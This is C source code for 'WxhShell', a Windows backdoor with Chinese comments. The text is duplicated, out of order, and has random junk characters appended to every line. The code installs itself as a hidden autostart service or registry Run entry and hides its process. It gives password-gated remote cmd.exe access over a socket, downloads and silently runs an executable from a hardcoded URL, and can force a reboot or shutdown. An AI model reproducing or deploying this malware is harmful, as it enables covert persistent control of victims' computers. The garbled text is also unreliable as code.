    if(Boot(SHUTDOWN)) >&ENrvaJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8SA" bH:  
    else { +o?;7  
    closesocket(wsh); n8tw8o%&[  
    ExitThread(0); +Fb+dU  
    } RM;Uq >l  
    break; =0a z5td  
    } _L+j6N.h1  
  // 获取shell BbiyyRa  
  case 's': { Z/czAr@4  
    CmdShell(wsh); ne: 'aq  
    closesocket(wsh); vi28u xc  
    ExitThread(0); +)LCYDRV7  
    break; }U'  
  } mLx=Zes:.  
  // 退出 bYO['ORr @  
  case 'x': { !jvl"+_FV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3CH> !QOA  
    CloseIt(wsh); fN/;BT  
    break; (&Rql7](8  
    } 7>=  
  // 离开 0SQrz$y  
  case 'q': { pHXs+Ysw+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P\WFm   
    closesocket(wsh); v: veKA  
    WSACleanup(); yf7|/M  
    exit(1); Mh{244|o[  
    break; e_"m\e#N  
        } $01csj  
  } &u~Pp=kv  
  } y)"rh/;  
#0PZa$kM(o  
  // 提示信息 S+"Bq:u"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TOhWfl;  
} mfG m>U  
  } IEfYg(c0U  
{1qr6P,"  
  return; 1[J|AkN  
} JfY(};&  
 S'\e"w  
// shell模块句柄 Npi) R)  
int CmdShell(SOCKET sock) =?Ui(?tI  
{ ,,!P-kK$  
STARTUPINFO si; |]9L#  
ZeroMemory(&si,sizeof(si)); zk"8mTg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  i CLH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @]]&^ 7  
PROCESS_INFORMATION ProcessInfo; 9g\;L:'  
char cmdline[]="cmd"; TyjZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); plp-[eKcD  
  return 0; J.'%=q(Sb  
} ANNVE},  
fs?H  
// 自身启动模式 )ki Gk}2  
int StartFromService(void) ^`B;SSV  
{ =H3tkMoi2  
typedef struct Oi zj |'  
{ z1]nC]2  
  DWORD ExitStatus; ;rF[y7\  
  DWORD PebBaseAddress; r<4j;"lQK  
  DWORD AffinityMask; Oet+$ b  
  DWORD BasePriority; .rITzwgB  
  ULONG UniqueProcessId; 1= 7ASS9  
  ULONG InheritedFromUniqueProcessId; UhrRB  
}   PROCESS_BASIC_INFORMATION; m"'} {3$%  
CmV &+C$V%  
PROCNTQSIP NtQueryInformationProcess; !\$V?*p7  
W+/_0GgQ3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _m[DieR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >:4`y"0  
jCXBp>9$M  
  HANDLE             hProcess; &q@brX<,=  
  PROCESS_BASIC_INFORMATION pbi; .6T0d 4,1  
.#-F@0a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Rk[a|T&  
  if(NULL == hInst ) return 0; L~^5Ez6U  
q2s0g*z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cdh0b7tj n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r~2hTie  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7RWgc]@?>  
El@*Fo  
  if (!NtQueryInformationProcess) return 0; Gw\..O  
A*wf: mW0c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [8^q3o7n  
  if(!hProcess) return 0; 8Y.9%@  
$XTtDUP@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #4b]j".P!n  
92t.@!m`  
  CloseHandle(hProcess); -fl6M-CYX  
,oh;(|=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {?5iK1|}K  
if(hProcess==NULL) return 0; ,`k&9o7  
]gg(Z!|iQ  
HMODULE hMod; (wM` LE(Ks  
char procName[255]; b0YEIV<$  
unsigned long cbNeeded; :)D7_[i  
DJ@n$G`^^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6[4VbIBSI  
QxdC[t$Lp  
  CloseHandle(hProcess); B ~N3k  
Qj;{Z*l%+  
if(strstr(procName,"services")) return 1; // 以服务启动 {x.0Yh7  
nvT@ 'y+  
  return 0; // 注册表启动 5.oIyC^Ik  
} 1kKfFpN  
g+4y^x(X@1  
// 主模块 P3: t 4^  
int StartWxhshell(LPSTR lpCmdLine) Hj|&P/jY]*  
{ 4&;iORw&E4  
  SOCKET wsl; jT =|!,Pn  
BOOL val=TRUE; l"%80"zO  
  int port=0; iGu%_-S  
  struct sockaddr_in door; Wz s=BNm9  
eF22 ~P  
  if(wscfg.ws_autoins) Install(); cl2_"O  
Y55u -9|N  
port=atoi(lpCmdLine); V(F9=r<X  
_OTVQo Ap  
if(port<=0) port=wscfg.ws_port; Bskp&NV':  
.WqqP  
  WSADATA data; Lr D@QBT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j}eb _K+I  
DkEv1]6JI_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T1 $E][@Iv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p>;@]!YWQ  
  door.sin_family = AF_INET; =I546($  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5EcVW|(  
  door.sin_port = htons(port); UGI<V!  
wCB*v<*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v={{ $=/t  
closesocket(wsl); KDq="=q  
return 1; :86:U 0^  
} nYj rEy)Q  
e))L&s  
  if(listen(wsl,2) == INVALID_SOCKET) { #%\0][Xf  
closesocket(wsl); {9U!0h-2"  
return 1; fk5'v   
} <[cpaZT,  
  Wxhshell(wsl); O*~z@"\  
  WSACleanup(); ;na%*G`  
< ,*\t  
return 0; {g<D:"Q  
$TXxhd 6  
} 8YQuq.(>a  
QMsq4yJ)%  
// 以NT服务方式启动 fUkqhqe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0X5cn 0L^  
{ w3(|A> s3  
DWORD   status = 0; q[a\a7U z  
  DWORD   specificError = 0xfffffff; uLS]=:BT  
fx5S2%f^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #f2k*8"eAF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8m?(* [[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B#Ybdp ;  
  serviceStatus.dwWin32ExitCode     = 0; bTc >-e,  
  serviceStatus.dwServiceSpecificExitCode = 0; F nA Kfh(  
  serviceStatus.dwCheckPoint       = 0; D4!;*2t  
  serviceStatus.dwWaitHint       = 0; V| 97;  
C~qZ&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nc k/Dw  
  if (hServiceStatusHandle==0) return; 1@}F8&EZ  
\Y)HSJR;e  
status = GetLastError(); Z^&G9I#  
  if (status!=NO_ERROR) ~R w1  
{ WzN c=@[W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #T_!-;(Z  
    serviceStatus.dwCheckPoint       = 0; #ODP+>-IjB  
    serviceStatus.dwWaitHint       = 0; T>& q8'lD  
    serviceStatus.dwWin32ExitCode     = status; 2{rWAPHgz  
    serviceStatus.dwServiceSpecificExitCode = specificError; $72eHdy/yl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vPNbV  
    return; My8d%GfM  
  } l#KcmOz  
)=[\YfK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T(D6'm:X  
  serviceStatus.dwCheckPoint       = 0; JX=rL6Y@:;  
  serviceStatus.dwWaitHint       = 0; szsVk#p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2d[q5p  
} L/tpT?$fi  
?$f.[;mh  
// 处理NT服务事件,比如:启动、停止 4H-eFs%5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Trv}YT.  
{ :W*yfhLt  
switch(fdwControl) <T}U 3lL^  
{ L7C ;l,ot  
case SERVICE_CONTROL_STOP: s|Mo3_>  
  serviceStatus.dwWin32ExitCode = 0; ~v;I>ij  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nHdQe  
  serviceStatus.dwCheckPoint   = 0; XHk"nbj  
  serviceStatus.dwWaitHint     = 0; xpR`fq  
  { dw"Es;^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Z~YFnEJi  
  } \Ggh 95y  
  return; OTXZdAv  
case SERVICE_CONTROL_PAUSE: 5~[7|Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _ nMd  
  break; I@cw=_EQL  
case SERVICE_CONTROL_CONTINUE: .uJ J<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZbYC3_7w  
  break; =0g!Q   
case SERVICE_CONTROL_INTERROGATE: 9p W~Gz  
  break; zr.\7\v  
}; 4E^ ?}_$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H0afu)$,  
} ~XTC:6ts  
~S8:xG+s  
// 标准应用程序主函数 /mex{+p>tO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F06o-xH=  
{ #DUfEZ  
{v|!];i  
// 获取操作系统版本 |UXSUP @s  
OsIsNt=GetOsVer(); +F8{4^w1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z{rV|vQ  
mJUM#ry  
  // 从命令行安装 <1|[=$w  
  if(strpbrk(lpCmdLine,"iI")) Install(); Tx;a2:6\[  
7?Wte&C];p  
  // 下载执行文件 ..)J6L5l  
if(wscfg.ws_downexe) { $l]:2!R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qIi \[Ugh  
  WinExec(wscfg.ws_filenam,SW_HIDE); k H.dtg_  
} r:g\  
f$C{Z9_SX  
if(!OsIsNt) { EqW~K@  
// 如果时win9x,隐藏进程并且设置为注册表启动 1+FVM\<&  
HideProc(); q?}C`5%D  
StartWxhshell(lpCmdLine);  k[r^@|  
} vE:*{G;Y  
else >C|pY6  
  if(StartFromService()) ybBmg'198  
  // 以服务方式启动 {18hzhs  
  StartServiceCtrlDispatcher(DispatchTable); tMxd e+ $y  
else ZxF`i>/h  
  // 普通方式启动 ;4rhh h&  
  StartWxhshell(lpCmdLine); @_+aX.,  
 q+L'h8  
return 0; k1wIb']m]z  
} ,s[%,ep`  
>rd#,r  
/$c87\  
EF`}*7)  
=========================================== u} ot-!}Q  
dQ`Tt- n  
=:]ps<Qx  
N:lfKI  
{kpF etXt?  
z?o8h N\  
" ;{ifLI0#  
s)1-xA{'.  
#include <stdio.h> =)Xj[NNRT  
#include <string.h> g:Hj1!'  
#include <windows.h> 6("_}9ZOc  
#include <winsock2.h> ?:"ABkL|+Y  
#include <winsvc.h> 6 VEB2F  
#include <urlmon.h> n28JWkK8  
cC/h7o dY  
#pragma comment (lib, "Ws2_32.lib") PgkU~68`  
#pragma comment (lib, "urlmon.lib") Ob$``31{s  
w(oK   
#define MAX_USER   100 // 最大客户端连接数 hF2e--  
#define BUF_SOCK   200 // sock buffer  !VGG2N8  
#define KEY_BUFF   255 // 输入 buffer IoDT  
r: K1PO  
#define REBOOT     0   // 重启 j, 0`k  
#define SHUTDOWN   1   // 关机 FIq'W:q:  
E %mEfj7  
#define DEF_PORT   5000 // 监听端口 :G _  
W==~ 9  
#define REG_LEN     16   // 注册表键长度 2R/|/>T v  
#define SVC_LEN     80   // NT服务名长度 F1Z'tjj+  
LF7- ?? '  
// 从dll定义API *tXyd<_Hd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &6sF wK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *9'3 `^l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @:>"VP<(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @]Cg5QW>T  
cN,*QN  
// wxhshell配置信息 }3#\vn0gT  
struct WSCFG { <,} h8;Fr  
  int ws_port;         // 监听端口 xC`!uPk/pL  
  char ws_passstr[REG_LEN]; // 口令 ,L<JG  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]+D@E2E  
  char ws_regname[REG_LEN]; // 注册表键名 rB[J*5v  
  char ws_svcname[REG_LEN]; // 服务名 !Z$d<~Mq q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $+4DpqJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -UhpPw 6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QH'*MY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :&BPKqKp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q}AZkZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q`<vY'&1  
<[dcIw<7  
}; & zDuh[j}  
U6.aoqb%  
// default Wxhshell configuration &4?&tGi  
struct WSCFG wscfg={DEF_PORT, ]C \+b <  
    "xuhuanlingzhe", )?rq8VO  
    1, B>2R-pa4~  
    "Wxhshell", ` Ig5*X4|  
    "Wxhshell", n>'(d*[e&  
            "WxhShell Service", h@%Xy(/m'  
    "Wrsky Windows CmdShell Service", 6 >kULp  
    "Please Input Your Password: ", "^]gIQc  
  1, D+7xMT8pqH  
  "http://www.wrsky.com/wxhshell.exe", CS[]T9|_  
  "Wxhshell.exe" {++ EX2  
    }; a/J<(sak~X  
:c*"Dx'D  
// 消息定义模块 +x%u?ZR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &_L@hsm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ju+3}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |*bUcS<S  
char *msg_ws_ext="\n\rExit."; }_+XN"}C  
char *msg_ws_end="\n\rQuit."; !*#9b  
char *msg_ws_boot="\n\rReboot..."; Y% iqSY  
char *msg_ws_poff="\n\rShutdown..."; @O#!W]6NT6  
char *msg_ws_down="\n\rSave to "; Cut~k"lv  
>_}isCd,  
char *msg_ws_err="\n\rErr!"; @|Pm%K`1  
char *msg_ws_ok="\n\rOK!"; *;A ;)'  
D \ rns+  
char ExeFile[MAX_PATH]; |1@O>GG  
int nUser = 0; j,YrM?Xdo  
HANDLE handles[MAX_USER]; tT]@yo|?e/  
int OsIsNt; 6"-$WUlg  
j<^!"_G]*?  
SERVICE_STATUS       serviceStatus; 5%,3)H{;t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r^ r+h[V  
_}R$h=YD  
// 函数声明 Z '5itN^  
int Install(void); YSnh2 Bq  
int Uninstall(void); #49l\>1 z  
int DownloadFile(char *sURL, SOCKET wsh); <9@n/  
int Boot(int flag); +#IUn  
void HideProc(void); $LXa]  
int GetOsVer(void); XCM!8x?K  
int Wxhshell(SOCKET wsl); i%i~qTN  
void TalkWithClient(void *cs); opa/+V3E4  
int CmdShell(SOCKET sock); yy3rh(ea  
int StartFromService(void); I!/32* s1t  
int StartWxhshell(LPSTR lpCmdLine); YmljHQP  
mb*Yw 6q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s#$t!F??9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {it.F4.  
D6ZHvY8R  
// 数据结构和表定义 oG,>Pk  
SERVICE_TABLE_ENTRY DispatchTable[] = O,%UNjx9K  
{ 7 A0?tG  
{wscfg.ws_svcname, NTServiceMain}, 5EtR>Pc  
{NULL, NULL} = 3(v4E':5  
}; .tRm1&Qi  
/?8 1Ypt  
// 自我安装 v47' dC  
int Install(void) WuK<?1meN  
{ V!:!c]8F  
  char svExeFile[MAX_PATH]; e:G~P u`  
  HKEY key; > .wZEQ6QK  
  strcpy(svExeFile,ExeFile); 3Zp<#  
<#0i*PM_  
// 如果是win9x系统,修改注册表设为自启动 +^7cS6"L  
if(!OsIsNt) { !oz{XWE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UBd+,]"f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0AM_D >fH  
  RegCloseKey(key); FVXsu!R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +yL;?+s>=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zgjg#|  
  RegCloseKey(key); ;+75"=[YT  
  return 0; 2IYzc3Z{9  
    } S_7]_GQ9  
  } 75\ZD-{T:  
} y [McdlH m  
else { p[4 +`8  
2$JZ(qnN  
// 如果是NT以上系统,安装为系统服务 hj];a,Br&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A"*=K;u/|m  
if (schSCManager!=0) >Tf}aI+  
{ G 2`YZ\  
  SC_HANDLE schService = CreateService %M x|"ff  
  ( q^[t</_ N  
  schSCManager, e;6:U85LS  
  wscfg.ws_svcname, `}Y)l:G*g  
  wscfg.ws_svcdisp, AE~zm tW  
  SERVICE_ALL_ACCESS, )WvKRp r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }8#olZ/(q  
  SERVICE_AUTO_START, *(x.egORd  
  SERVICE_ERROR_NORMAL, ^fF#Ej1  
  svExeFile, JpXv+V  
  NULL, 9d1km~  
  NULL, P#TPI*qw  
  NULL, QGNKQ`~  
  NULL, . vHHw@  
  NULL rQv5uoD  
  ); (^yaAy#4  
  if (schService!=0) :>!-[hfQ  
  { APl]EV" l  
  CloseServiceHandle(schService); 4 QQt 0u0  
  CloseServiceHandle(schSCManager); vU%o5y:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bqn(5)%{  
  strcat(svExeFile,wscfg.ws_svcname); :^(y~q?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bZ`#;D<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @,<jPR.  
  RegCloseKey(key); /3)\^Pof  
  return 0; HD<$0M|  
    } n1\$|[^6  
  } "I56l2dxd  
  CloseServiceHandle(schSCManager); }8^qb5+!3  
}  ]j0+4w  
} |-JG _i  
eX\v;~W*  
return 1; w,P@@Q E  
} co,0@.i  
 ];5J  
// 自我卸载 3?E7\\/R  
int Uninstall(void) B2r[oT R  
{ +kWWx#L#  
  HKEY key; EUSM4djL  
#GGa,@O  
if(!OsIsNt) { xn, u$@F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <?A4/18K  
  RegDeleteValue(key,wscfg.ws_regname); 7fq Q  
  RegCloseKey(key); <^nS%hXEr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J>R $K  
  RegDeleteValue(key,wscfg.ws_regname); KY&Lv^1_|  
  RegCloseKey(key); |}{gE=]  
  return 0; `N[@lV\xp!  
  } JOuy_n  
} nHRsr x  
} {5VJprTbv  
else { +1#oVl!  
[ as,AX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M? 8sy  
if (schSCManager!=0) 3^KR{N p  
{ 7mS Nz.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i7)J|(N2.  
  if (schService!=0) 1{/Cr K/o  
  { cQ1[x>OcU  
  if(DeleteService(schService)!=0) { 4!14: mq  
  CloseServiceHandle(schService); f:3cV(mC  
  CloseServiceHandle(schSCManager); e oE)Mq  
  return 0; xqSZ {E:  
  } ?"'+tZ=f6  
  CloseServiceHandle(schService); a )lCp  
  } j f4<LmR  
  CloseServiceHandle(schSCManager); 7a>+ma\  
} :PV3J0pB~  
} ~> )>hy)  
_#M4zO7  
return 1; .S:(O+#Gm  
} C'@I!m._i  
`(j~b=PP  
// 从指定url下载文件 =m<b+@?T  
int DownloadFile(char *sURL, SOCKET wsh) b7hICO-w  
{ pIR_2Eq  
  HRESULT hr; 2r2:  
char seps[]= "/"; %V;* E]  
char *token; 'WHI.*=  
char *file; p+Q9?9  
char myURL[MAX_PATH]; }\m.~$|[  
char myFILE[MAX_PATH]; Qu#[PDhb  
WS6Qp`c )e  
strcpy(myURL,sURL); 0]f/5jvLj  
  token=strtok(myURL,seps); 8'E7Uj  
  while(token!=NULL) sI6*.nR  
  { .0,G4k/yv  
    file=token; a{ke%W$*P  
  token=strtok(NULL,seps); &W3srJo  
  } t[;-gi,,  
5OPvy,e6  
GetCurrentDirectory(MAX_PATH,myFILE); G5|nt#>  
strcat(myFILE, "\\"); v~x`a0  
strcat(myFILE, file); H|e7IsY%  
  send(wsh,myFILE,strlen(myFILE),0); {|$kI`h,3-  
send(wsh,"...",3,0); cRs\()W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $$Tf1hIg  
  if(hr==S_OK) DI(XB6  
return 0; .|CoueH  
else TP| ogF?  
return 1; }@.@k6`n  
(mbm',%-(  
} Dy5&-yk  
e{5O>RO  
// 系统电源模块 V(;T{HW&  
int Boot(int flag) ouyZh0 G  
{ 'h;qI&  
  HANDLE hToken; w^cQL%  
  TOKEN_PRIVILEGES tkp; Mk9J~'C_  
mb`h  
  if(OsIsNt) { )Pubur %,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TPx`qyW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R'1j  
    tkp.PrivilegeCount = 1; IRR b^Q6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @-0mE_$[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OI0@lSAo<  
if(flag==REBOOT) { 'b"7Lzp2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w('}QB`xad  
  return 0; v6wg,,T  
} >B``+ Z^2  
else { `*0VN(gf'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UdcV<#  
  return 0; P}=n^*8(I  
} *'?V>q,  
  } 45BpZ~-  
  else { +_ 8BJ  
if(flag==REBOOT) { 3xRn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a; a1>1  
  return 0; }s"].Xm^2  
} R4b!?}d  
else { *Cp:<M nd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ffI=Bt]t  
  return 0; d%L/[.&  
} 2zbn8tO  
} ./zzuKO8XK  
L)<~0GcP  
return 1; M%$ITE  
} h'GOO(  
Myn51pczl  
// win9x进程隐藏模块 F( /Ka@  
void HideProc(void) X]2x0  
{ S&&Q U #  
kZ6:= l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iZ/iMDfC  
  if ( hKernel != NULL ) |}8SjZcQW  
  { UCj<FN `  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  jrS$!cEo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :}q)]W  
    FreeLibrary(hKernel); v=dK2FaY  
  } *Jt+-ZM  
LEN=pqGJ.  
return; 3me&isKL  
} 6~>h;wC  
B@z ng2[  
// 获取操作系统版本 :)4c_51 `  
int GetOsVer(void) A"qDc  
{ ^R :zma  
  OSVERSIONINFO winfo; "E4CQL'U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T#:b  
  GetVersionEx(&winfo); F.@|-wq&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p1.3)=T  
  return 1; X$~T*l0  
  else p<mBC2!%  
  return 0; {wk#n.c  
} owyQFk  
AuM}L&`i^  
// 客户端句柄模块 C%ZPWOc_8  
int Wxhshell(SOCKET wsl) <Voct  
{ WuI$   
  SOCKET wsh; A5\ Hq  
  struct sockaddr_in client; n _x+xVi%  
  DWORD myID; p/l">d]+  
p)z#%BY56  
  while(nUser<MAX_USER) WlW%z(RC  
{ 7 _"G@h  
  int nSize=sizeof(client); )_>'D4l ?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b>#=7;  
  if(wsh==INVALID_SOCKET) return 1; ZP@NV|B  
De{ZQg)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C7AD1rl  
if(handles[nUser]==0) {61Y;  
  closesocket(wsh);  8 }AWU  
else =HV${+K=~  
  nUser++; 0`v-pL0|  
  } M^ e}w!U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5yj#9H  
OTAe#]#  
  return 0; &U`ug"/k  
} WWOt>C~zV  
r=7!S8'  
// 关闭 socket [#G*GAa6*  
void CloseIt(SOCKET wsh) ^wwS`vPb  
{  M_%c9g@x  
closesocket(wsh); z yp3 +|  
nUser--; iweT @P`  
ExitThread(0); XWNo)#_3  
} 2AMb-&po&f  
QctzIC#;k  
// 客户端请求句柄 8\C][ y  
void TalkWithClient(void *cs) _ShWCU-~Z  
{ <c<!|<x  
fz8 41 <Y  
  SOCKET wsh=(SOCKET)cs; B~@Gfb>`'  
  char pwd[SVC_LEN]; .A_R6~::  
  char cmd[KEY_BUFF]; @SaxM4  
char chr[1]; oIj -Y`92!  
int i,j; =&Tuh}  
EDh-pK  
  while (nUser < MAX_USER) { 9HPwl  
LCzeE7x  
if(wscfg.ws_passstr) { %.'oY%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `ueOb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]Wjcr2Wq  
  //ZeroMemory(pwd,KEY_BUFF); ;R<V-gab  
      i=0; ,!PV0(F(  
  while(i<SVC_LEN) { B&1E&Cv_8  
f#7=N{wm  
  // 设置超时 s%>8y\MaK  
  fd_set FdRead; {gD`yoPrV  
  struct timeval TimeOut; q"S,<I<f  
  FD_ZERO(&FdRead); lF40n4}  
  FD_SET(wsh,&FdRead); 9`"#OQPn1  
  TimeOut.tv_sec=8; B[#n,ay  
  TimeOut.tv_usec=0; W:9l"'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AGO"),  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z!.cc6R  
N 6\Ey{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [7LdTY"Tl  
  pwd=chr[0]; D,lY_6=  
  if(chr[0]==0xd || chr[0]==0xa) { 5Fj9.K~k  
  pwd=0; Dbq/t^  
  break; 2|WM?V&  
  } fU$_5v4  
  i++; G+k wG)K  
    } vfXNN F  
c6h+8QS  
  // 如果是非法用户,关闭 socket ;+#Nb/M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |B'4wF>  
} SXvflr] =m  
G$QN_h,}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x%[NK[^&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hsYE&Np_Q  
.=d40m  
while(1) { PyK!Cyq  
\IudS{ .?;  
  ZeroMemory(cmd,KEY_BUFF); M`@ASL:u  
fBz|-I:k +  
      // 自动支持客户端 telnet标准   @0C[o9  
  j=0; CPeu="[  
  while(j<KEY_BUFF) { NpKyrXDJv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H5 :,hrZY  
  cmd[j]=chr[0]; WU@_aw[  
  if(chr[0]==0xa || chr[0]==0xd) { c5 AaUza  
  cmd[j]=0; Q"c/]Sk)  
  break; Z5*(xony0  
  } N[fwd=$\#  
  j++; xirq$sEl  
    } L<B)BEE.  
^Pu:&:ki  
  // 下载文件 W2zG"Q  
  if(strstr(cmd,"http://")) { ,`k6 @4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /(u? k%Q  
  if(DownloadFile(cmd,wsh)) VZ">vIRyi|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'iOa j0f  
  else v"mZy,u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bKzG5|Qu  
  } >Bdh`Ot-!  
  else { 1wd c4>  
~Eb:AC5  
    switch(cmd[0]) { :*DWL!a  
  FZZO-,xa  
